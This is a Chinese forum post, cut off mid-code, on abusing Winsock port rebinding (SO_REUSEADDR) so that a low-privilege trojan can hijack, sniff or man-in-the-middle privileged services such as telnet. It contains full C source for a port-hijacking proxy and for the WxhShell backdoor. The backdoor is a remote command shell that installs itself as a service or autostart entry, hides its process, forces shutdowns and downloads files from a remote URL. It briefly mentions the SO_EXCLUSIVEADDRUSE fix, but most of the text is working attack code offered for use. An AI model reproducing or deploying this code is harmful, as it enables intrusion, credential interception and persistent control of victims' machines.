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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: iJE  $3  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); s^F6sXhyPi  
]6NpHDip1  
  saddr.sin_family = AF_INET; iE$qq ~%  
m.ev~Vv~  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); a#t:+iw  
MPx%#'Q  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); Dbt"}#uit;  
2Z 4Ekq0@  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 hnag <=  
d 6 t#4!  
  这意味着什么?意味着可以进行如下的攻击: ?yop#tjCbY  
!, Y1FC  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 '{+5+ J  
P!@b:.$  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) Q@gmtAp  
3B#qQ#  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 Q[EpE,  
c8!q_H~  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  T:&  
{/SUfXq  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 5[3vu p?  
a"gZw9m@  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 H1iewsfzH  
'E FP/(2J  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 >5Y%4++(  
 ,83%18b  
  #include ?5(Cwy ?  
  #include z+IBy+  
  #include {%W'Zx  
  #include    Vx$ ?)&  
  DWORD WINAPI ClientThread(LPVOID lpParam);   NuZiLtC  
  int main() H&`0I$8m  
  { fz'@ON  
  WORD wVersionRequested; %O] ]La  
  DWORD ret; 53efF bo  
  WSADATA wsaData; &Z!O   
  BOOL val; J{ fTx@?(  
  SOCKADDR_IN saddr; 7.Df2_)  
  SOCKADDR_IN scaddr; .YYfba#{  
  int err; ,@1rP55  
  SOCKET s; ZoJ_I >uv  
  SOCKET sc; J:g4ES-/   
  int caddsize; ?`ETlFtD4  
  HANDLE mt; ASA ]7qyO  
  DWORD tid;   F uYjrzmx  
  wVersionRequested = MAKEWORD( 2, 2 ); OolYQU1_  
  err = WSAStartup( wVersionRequested, &wsaData ); L-Io!msb  
  if ( err != 0 ) { C s XV0  
  printf("error!WSAStartup failed!\n"); 4e OS+&  
  return -1; (JV [7u -  
  } ZBYFQTEE  
  saddr.sin_family = AF_INET; A=8%2U wI  
   WUnz  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 e$'|EE.=q+  
|6@s6]%X}  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); g i>`  
  saddr.sin_port = htons(23); 4yy9m8/  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) gEr@L  
  { &c[.&L,w4  
  printf("error!socket failed!\n"); k# -u!G  
  return -1; *Ae> ,LyE  
  } )LOV)z|}  
  val = TRUE; t!^ j0q  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 "u29| OY  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) pjG/`  
  { 'Lm\ r+$F  
  printf("error!setsockopt failed!\n"); W}^X;f  
  return -1; zsM3 [2E*  
  } D@.+B`bA  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; ;W"=s79  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 z)AZ:^!O  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 ))M!"*  
\N3A2L)l  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) \PU7,*2  
  { Q`= ,&;T>  
  ret=GetLastError(); n:dnBwY  
  printf("error!bind failed!\n"); f%#q}vK-  
  return -1; 'P'f`;'_DC  
  } ":igYh  
  listen(s,2); $)or{Z$&  
  while(1) nulLK28q  
  { 3 UXaA;  
  caddsize = sizeof(scaddr); 7 LotN6H  
  //接受连接请求 b { M'aV  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); $W_sIS0\z  
  if(sc!=INVALID_SOCKET) OoIs'S-Z#  
  { 4$W}6 v  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); .|?UqZ(,  
  if(mt==NULL) W"3YA+qpI  
  { u7>{#]  
  printf("Thread Creat Failed!\n"); QVT|6znw  
  break; #E`wqI\'  
  } Ec3TY<mVr  
  } #!yW)RG  
  CloseHandle(mt); ;q5.\m:  
  } gXy'@ !  
  closesocket(s); _|^cudRv  
  WSACleanup(); I \Luw*:  
  return 0; LZ'Y3 *  
  }   G!<-9HA5  
  DWORD WINAPI ClientThread(LPVOID lpParam) Sm5 T/&z  
  { BQo$c~  
  SOCKET ss = (SOCKET)lpParam; `J l/@bE=  
  SOCKET sc; AQ)DiH  
  unsigned char buf[4096]; 1\u{1 V  
  SOCKADDR_IN saddr; A WS[e$Mt2  
  long num; nNc>nB1  
  DWORD val; V'iT>  
  DWORD ret;  Y%zYO  
  //如果是隐藏端口应用的话,可以在此处加一些判断 ny l[d|pVa  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   H{1'OC  
  saddr.sin_family = AF_INET; .X.,.vHx  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); &=>|? m8  
  saddr.sin_port = htons(23); Z%m\/wr  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ; ElwF&"!X  
  { n[E/O}3& /  
  printf("error!socket failed!\n"); bI?uV;m>  
  return -1; |~]@hs~  
  } jA' 7@/F/  
  val = 100; Od]B;&F  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ` zoC++hx  
  { Z%4w{T+[  
  ret = GetLastError(); BJ*8mKi h  
  return -1; 1`q>*S](  
  } +3d.JQoKl  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) OAiSE`  
  { v$d^>+Y#  
  ret = GetLastError(); `z1E]{A  
  return -1; -]~KQvIH!  
  } *S= c0  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) -\I".8"YE  
  { 2~B9 (|  
  printf("error!socket connect failed!\n"); VKb=)v[K  
  closesocket(sc); !kQJ6U  
  closesocket(ss); #E;a ;$p  
  return -1; 'UFPQ  
  } han S8  
  while(1) hd%O\D?  
  { cOoF +hz0O  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 k [eWhdSw  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 >c30kpGg  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 ;!:@3c  
  num = recv(ss,buf,4096,0); q]\GBRp  
  if(num>0) Nc_Qd4<[@G  
  send(sc,buf,num,0); v/G)E_  
  else if(num==0) BenUyv1d  
  break; o |"iW" +  
  num = recv(sc,buf,4096,0); ]w/%>  
  if(num>0) P.Gmj;  
  send(ss,buf,num,0); g;-6Hg'  
  else if(num==0) w:3CWF4q]  
  break; OhW o  
  } L|y 9T {s  
  closesocket(ss); *-,jIaL;  
  closesocket(sc); H$)__V5I,q  
  return 0 ; "QLp%B,A  
  } #>_5PdO  
4S\St <  
M $\!SXL  
========================================================== 79d< ,q;uR  
Sau?Y  
下边附上一个代码,,WXhSHELL [J\! 2\Oo  
g!I0UAm  
========================================================== OhiY <  
iPK:gK3Q  
#include "stdafx.h" !.c no&  
&]S\GnqlU]  
#include <stdio.h> j<PpCL_8%  
#include <string.h> +@BjQ|UZ  
#include <windows.h> :TRhk.  
#include <winsock2.h> X$(YCb  
#include <winsvc.h> +2JC**)I  
#include <urlmon.h> %(ms74R+  
KYM%U" jD  
#pragma comment (lib, "Ws2_32.lib") A|<i7QVY  
#pragma comment (lib, "urlmon.lib") Lgrpy  
a_(fqoW  
#define MAX_USER   100 // 最大客户端连接数 ^X| Bzz)  
#define BUF_SOCK   200 // sock buffer &'"dYZj{  
#define KEY_BUFF   255 // 输入 buffer $TY 1'#1U;  
uZXG"  
#define REBOOT     0   // 重启 \}:;kO4f  
#define SHUTDOWN   1   // 关机 6QX2&[qWS  
z|v/h UrD  
#define DEF_PORT   5000 // 监听端口 5-! Zm]  
%'&_Po\  
#define REG_LEN     16   // 注册表键长度 Gq =i-I  
#define SVC_LEN     80   // NT服务名长度 Noi+mL  
A&UGr971  
// 从dll定义API kn= fW1  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 2'-o'z<  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); RN ~pC  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ppR; v  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); L8~zQV$h  
b@ OF  
// wxhshell配置信息 PwS7!dzH-  
struct WSCFG { fp2uk3Bm[  
  int ws_port;         // 监听端口 Co^GsUJ  
  char ws_passstr[REG_LEN]; // 口令 0I7 r{T  
  int ws_autoins;       // 安装标记, 1=yes 0=no cL^r^kL("  
  char ws_regname[REG_LEN]; // 注册表键名 T u7}*vsR  
  char ws_svcname[REG_LEN]; // 服务名 .q5WK#^  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 eeCrHt4;  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 fYiof]v@_m  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 :89AYqT"  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Rd ,5 &X$  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ^+u/Lw&  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 UhbGU G  
1JY3c M  
}; n}3fItSJ  
LDY k\[81  
// default Wxhshell configuration x.ucsb  
struct WSCFG wscfg={DEF_PORT, w'&QNm>  
    "xuhuanlingzhe", Q+zy\T  
    1, VskdC?yIp  
    "Wxhshell", ~!#2s'  
    "Wxhshell", <]'1YDA  
            "WxhShell Service", u69fYoB'  
    "Wrsky Windows CmdShell Service", \!df)qdu  
    "Please Input Your Password: ", W3y9>]{x^  
  1, [_1K1i"m  
  "http://www.wrsky.com/wxhshell.exe",  li  
  "Wxhshell.exe" fT0+i nRG  
    }; cjc1iciZ  
JB9s# `  
// 消息定义模块 vxl!`$Pi  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; C~c|};&%  
char *msg_ws_prompt="\n\r? for help\n\r#>"; O=\`q6l  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; VL/KC-6  
char *msg_ws_ext="\n\rExit."; Xr]<v%,C  
char *msg_ws_end="\n\rQuit."; p{w:^l(  
char *msg_ws_boot="\n\rReboot..."; E#(dri*#t  
char *msg_ws_poff="\n\rShutdown..."; U@"f(YL+"  
char *msg_ws_down="\n\rSave to "; r(p@{L185  
I0v4TjHH  
char *msg_ws_err="\n\rErr!"; UY/qI%#L#,  
char *msg_ws_ok="\n\rOK!"; FV5~sy  
2i~zAD'  
char ExeFile[MAX_PATH]; [=& tN)_  
int nUser = 0; r@ v&~pL  
HANDLE handles[MAX_USER]; ;C~:C^Q\H  
int OsIsNt; MOIMW+n  
_)-y&  
SERVICE_STATUS       serviceStatus; 3?uah' D5  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; O%m>4OdH  
3\H0Nkubts  
// 函数声明 !xz{X?  
int Install(void); MBO>.M$B  
int Uninstall(void); xM D]b  
int DownloadFile(char *sURL, SOCKET wsh); >/9on.  
int Boot(int flag); yN9setw*,M  
void HideProc(void); *s (L!+  
int GetOsVer(void); DUWSY?^c  
int Wxhshell(SOCKET wsl); gbjql+Mx+  
void TalkWithClient(void *cs); pXl *`[0X#  
int CmdShell(SOCKET sock); j[Oh>yG  
int StartFromService(void); /<)kI(gf  
int StartWxhshell(LPSTR lpCmdLine); Bw4 _hlm  
'WcP+4c  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); {7d\du&G  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); V[avV*;3i  
+uB.)wr  
// 数据结构和表定义 }<mK79m  
SERVICE_TABLE_ENTRY DispatchTable[] = mecm,xwm  
{ 5sguv^;C5  
{wscfg.ws_svcname, NTServiceMain}, ^u$?& #  
{NULL, NULL} 6 u}c543  
}; _OvIi~KW+  
qTrb)95  
// 自我安装 1Gh3o}z  
int Install(void) f/tJ>^N5  
{ J:G~9~V^  
  char svExeFile[MAX_PATH]; N\W4LO6  
  HKEY key; %-#rzeaW  
  strcpy(svExeFile,ExeFile); f]DO2 r  
$uCY\ xqZ  
// 如果是win9x系统,修改注册表设为自启动 Nj$h/P  
if(!OsIsNt) { >NAg*1  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { /4Jm]"  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); N2\{h(*u  
  RegCloseKey(key); }o2e&.$4d  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { +~!\;71:f  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); oh.8WlI  
  RegCloseKey(key); #6F/:j;  
  return 0; Qcs >BOV~  
    } 0/,Dy2h  
  } ??h4qJ  
} WQ)vu&;  
else { &v.Nj9{zi  
Gu5%Pou  
// 如果是NT以上系统,安装为系统服务 +w9X$<?_  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); %tT=q^%5  
if (schSCManager!=0) mFW/xZwR,5  
{ ?b3({P  
  SC_HANDLE schService = CreateService QRAw#  
  ( >SaT?k1E  
  schSCManager, %G/j+Pf  
  wscfg.ws_svcname, Vc?=cQ'c  
  wscfg.ws_svcdisp, Wv-nRDNG  
  SERVICE_ALL_ACCESS, W~2T/~M  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , $\vTiS'  
  SERVICE_AUTO_START, -/gAb<=  
  SERVICE_ERROR_NORMAL, 6*%E4#4  
  svExeFile, vz}_^8O  
  NULL, P"ATqQG%D  
  NULL, l_0/g^(  
  NULL, _p,1m[&M  
  NULL, Oj0,Urs7  
  NULL m1,yf*U  
  ); T;Zv^:]0  
  if (schService!=0) )&wJ_ (z  
  { *?s"~ XVs  
  CloseServiceHandle(schService); 0)nY- f0  
  CloseServiceHandle(schSCManager); xI,7ld~  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ^K`Vqo  
  strcat(svExeFile,wscfg.ws_svcname); %xh A2  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { V;%DS)-  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Ub%1OQ  
  RegCloseKey(key); J>%uak<  
  return 0; )R5=GHmL  
    } {>8u/  
  } L__J(6,V2  
  CloseServiceHandle(schSCManager); vu=`s|R  
} Lzy Ix!S  
} r E<Ou"  
Ub| -Q  
return 1; :9f/d;Mo3  
} ?*: mR|=  
D<UX^hU   
// 自我卸载 O [v(kH'  
int Uninstall(void) ;@ lC08SE  
{ Gz@/:dW^vZ  
  HKEY key; IPEJ7 n49  
qTi%].F"G  
if(!OsIsNt) { SVj4K \F  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { XR.Sm<A[  
  RegDeleteValue(key,wscfg.ws_regname); 02 6|u|R  
  RegCloseKey(key); J'4V_Kjg-  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { e!.r- v9  
  RegDeleteValue(key,wscfg.ws_regname); fd/?x^Z  
  RegCloseKey(key); xYl ScM_~  
  return 0; v*VId l>  
  } o.M.zkP a  
} mmx; Vt$i  
} . Q$/\E  
else { gRQV)8uh  
ylVBK{w9  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); =VPJ m\*V  
if (schSCManager!=0) SC/V3f W,  
{ l>iE1`iL<  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); #oQDt'  
  if (schService!=0) XWNDpL`j5  
  { } D0Y8  
  if(DeleteService(schService)!=0) { <Q|(dFr`v  
  CloseServiceHandle(schService); 5Ff1x-lQ  
  CloseServiceHandle(schSCManager); v dR6y  
  return 0; '>0rp\jC  
  } >+ E  
  CloseServiceHandle(schService); `6BjNV  
  } SJ;Kjq.Qo  
  CloseServiceHandle(schSCManager); %X>P+6<=  
} iQj2aK Gs  
} [|E|(@J  
=!Ce#p?h,  
return 1; dPO|x+N,  
} |*[#Iii'  
<|R`N)AV;  
// 从指定url下载文件 Y~C;M6(P  
int DownloadFile(char *sURL, SOCKET wsh) 6p1)wf.J  
{ I@9[  
  HRESULT hr; "5@k\?x"  
char seps[]= "/"; ._5"FUg  
char *token; ^,WXvOy  
char *file; _|qs-USA  
char myURL[MAX_PATH]; Mw9;O6  
char myFILE[MAX_PATH]; |(6H)S]$  
! :XMP*g  
strcpy(myURL,sURL); 6<N Q/*(/  
  token=strtok(myURL,seps); (TQhO$,  
  while(token!=NULL) C#Y_La  
  { u~VvGLFf5,  
    file=token; c"x-_Uk  
  token=strtok(NULL,seps); 8 DE%ot  
  } s%p,cz; ,  
2,.;Mdl  
GetCurrentDirectory(MAX_PATH,myFILE); B9Y*'hmI  
strcat(myFILE, "\\"); Y9_OkcW)  
strcat(myFILE, file); ji :E  
  send(wsh,myFILE,strlen(myFILE),0); wS%aN@ay3  
send(wsh,"...",3,0); H% "R _[+  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); m#kJ((~  
  if(hr==S_OK) jUg.Y98  
return 0; \$%q< _l  
else u/g4s (a  
return 1; }8,[B50  
|E =8  
} TU(w>v  
g9K7_T #W  
// 系统电源模块  01;  
int Boot(int flag) 1j":j%9M  
{ +kN/-UsB  
  HANDLE hToken; QYj8c]8f  
  TOKEN_PRIVILEGES tkp; !1<?ddH6  
j\9v1O!T  
  if(OsIsNt) { C^W9=OH  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); lX*IEAc  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ,OilGTQ#  
    tkp.PrivilegeCount = 1; ~!A*@a C  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; E` aAPk_ y  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); e"]*^Q  
if(flag==REBOOT) { UI}df<Ge  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ~|t 7  
  return 0; ^N`bA8  
} ZlxJY%o eu  
else { s1| +LT ,D  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) U9ZWSDs  
  return 0; yQ{xRtNO  
} 9u&q{I  
  } _J+p[=[L  
  else { Q $5U5hb  
if(flag==REBOOT) { C% )Xz  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) mx:)&1  
  return 0; B]-~hP  
} )of?!>'S[  
else { tbr1mw'G  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 5^W},:3R  
  return 0; 0>KW94  
} asQXl#4r  
} R]y[n;aGC  
FPB O=?H.  
return 1; 0-!K@#$>=  
} '.8E_Jd0E  
!f^'-  
// win9x进程隐藏模块 AO "pm  
void HideProc(void) gPrIu+|F  
{ f3u^:6U~  
M*x1{g C/  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); H*M)<"X  
  if ( hKernel != NULL ) 4LfD{-_uW  
  { NrrnG]#p1  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); paG^W&`;  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ?'L3B4  
    FreeLibrary(hKernel); ~c*$w O\  
  } 8ezdU"  
Rl2*oOVz  
return; W@( EEMhw  
} O%KP,q&}Y  
& &\HE7*  
// 获取操作系统版本 OB{d^e}  
int GetOsVer(void) qbwX*E~ ;  
{ ZI8*PX%2  
  OSVERSIONINFO winfo; ;jEDGKLq  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); cJ> #jl&  
  GetVersionEx(&winfo); ;[ag|YU$Y  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) S3oSc<&2  
  return 1; (4WAoye|  
  else 3TDjWW;#~  
  return 0; @TTB$  
} }%;o#!<N(@  
V&75n.L  
// 客户端句柄模块 j~)GZV  
int Wxhshell(SOCKET wsl) :"pA0oB  
{ ,iQRf@#W_b  
  SOCKET wsh; uN)o|7  
  struct sockaddr_in client; 6zGM[2  
  DWORD myID; K Qz.g3,  
-/O_wqm#  
  while(nUser<MAX_USER) ^lp#j;Df  
{ q4~w D  
  int nSize=sizeof(client); j m]d:=4_  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); )zR(e>VX  
  if(wsh==INVALID_SOCKET) return 1; \UF/_'=K  
}eO{+{D +  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); \9%SR~  
if(handles[nUser]==0) D V  
  closesocket(wsh); !ibdw_H  
else g2&%bNQ-5  
  nUser++; 88GS Bg:YH  
  } z!<X{& e  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 0"vI6Lm  
%}nNwuJ  
  return 0; A=(<g";m  
} 'fqX^v5n  
*x;&fyR  
// 关闭 socket d\_$Nb*  
void CloseIt(SOCKET wsh) z~S(OM@olJ  
{ b85r=tm   
closesocket(wsh); zB?} {@  
nUser--; p:GB"e9>H  
ExitThread(0); b3Uw"{p  
} fXV+aZ  
w4m)lQM  
// 客户端请求句柄 <h*r  
void TalkWithClient(void *cs) xDU{I0M  
{ 4NY}=e5  
`}Of'i   
  SOCKET wsh=(SOCKET)cs; QQnpy.`:/  
  char pwd[SVC_LEN]; <;R}dlBASW  
  char cmd[KEY_BUFF]; ]f3eiHg*  
char chr[1]; *K<|E15 ,  
int i,j; ODbEL/  
m=hlim;P,  
  while (nUser < MAX_USER) { v|WTm#  
[T(XwA)  
if(wscfg.ws_passstr) { 7H+IW4Ma  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); &RzkM4"  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); WB7pdSZ  
  //ZeroMemory(pwd,KEY_BUFF); xn fMx$fD  
      i=0; u?J!3ZEtb  
  while(i<SVC_LEN) { nkp,  
iE~][_%U  
  // 设置超时 jc4#k+sb  
  fd_set FdRead; NM`5hd{  
  struct timeval TimeOut; :oYz=c  
  FD_ZERO(&FdRead); -/y]'_a  
  FD_SET(wsh,&FdRead); v `a:Lj  
  TimeOut.tv_sec=8; X#|B*t34  
  TimeOut.tv_usec=0; P0B`H7D  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); v/fo`]zP  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); TQ{rg2_T  
Vw^2TRU  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); T ke3X\|  
  pwd=chr[0]; CWTPf1?eB  
  if(chr[0]==0xd || chr[0]==0xa) { Mx3MNX /  
  pwd=0; 7O=N78M  
  break; bp>-{Nv  
  } ;yvx-  
  i++; !R;NV|.eI6  
    } O7M8!3Eqm  
``zgw\f[%  
  // 如果是非法用户,关闭 socket #GJ{@C3H8Q  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); z^ai *   
} b6mSPH@  
>o]!-46  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); R 2{kS  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); hnk,U:7}  
LXZ0up-B-  
while(1) { :"vW;$1 }  
Cggu#//Z}Q  
  ZeroMemory(cmd,KEY_BUFF); Ap :mc:  
wb#ZRmx}  
      // 自动支持客户端 telnet标准   e2~$=f-  
  j=0; bvxol\7;  
  while(j<KEY_BUFF) { @d+NeS  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ,EE,W0/zzM  
  cmd[j]=chr[0]; YR 5C`o  
  if(chr[0]==0xa || chr[0]==0xd) { P1r)n{;  
  cmd[j]=0; -KuC31s_W  
  break; B"@3Qav3  
  } %OIJ.  
  j++; 7CK3t/3D  
    } B$ Z%_j&  
z154lY}K  
  // 下载文件 u{6b>c|,X  
  if(strstr(cmd,"http://")) { rT&rv^>f  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); THVF(M4v  
  if(DownloadFile(cmd,wsh)) ou{}\^DgQ  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); \6{w#HsP8  
  else :aIS>6  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); >l0y ss)I  
  } ;ewqGDe'3  
  else { I)JqaM  
K+s@.D9J  
    switch(cmd[0]) { 2`Ojw_$W7  
  =ObI  
  // 帮助 3Uy48ue  
  case '?': { 8p;|&7  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); SJ4+s4!l <  
    break; ep$C nBwE  
  } <T3v|\6~H  
  // 安装 YQH=]5r  
  case 'i': { )$> pu{o  
    if(Install()) b%-S'@ew  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); RZ6[+Ygn  
    else (uxe<'Co|  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); $ouw *|<  
    break; |= o)|z2  
    } L&I8lG  
  // 卸载 I*SrK Zb  
  case 'r': { :rBPgrt  
    if(Uninstall()) U5iyvU=UG  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); @U 6jd4?)  
    else +sW;p?K7eO  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); mw\ z'  
    break; :j)v=qul  
    } v7h!'U[/  
  // 显示 wxhshell 所在路径 =hP7 Hea(N  
  case 'p': { {\-9^RL  
    char svExeFile[MAX_PATH]; &2P+9j>  
    strcpy(svExeFile,"\n\r"); M3 TsalF  
      strcat(svExeFile,ExeFile); xk#q_!(j  
        send(wsh,svExeFile,strlen(svExeFile),0); w|k?2 ?&  
    break; ~fht [S?@M  
    } S{0iPdUC  
  // 重启 PX} ~  
  case 'b': { nB &[R  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ^?~WIS  
    if(Boot(REBOOT)) xnR;#Yc  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); y37c&XYq  
    else { |*T`3@R;3  
    closesocket(wsh); \U?$ r[P  
    ExitThread(0); O 7Z?y*  
    } OxC8xB;`  
    break; <\fB+ AZ  
    } ,\Q^[e!m~  
  // 关机 oOAn 5t@  
  case 'd': { C3]"y7  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); YAc~,N   
    if(Boot(SHUTDOWN)) dPm_jX  
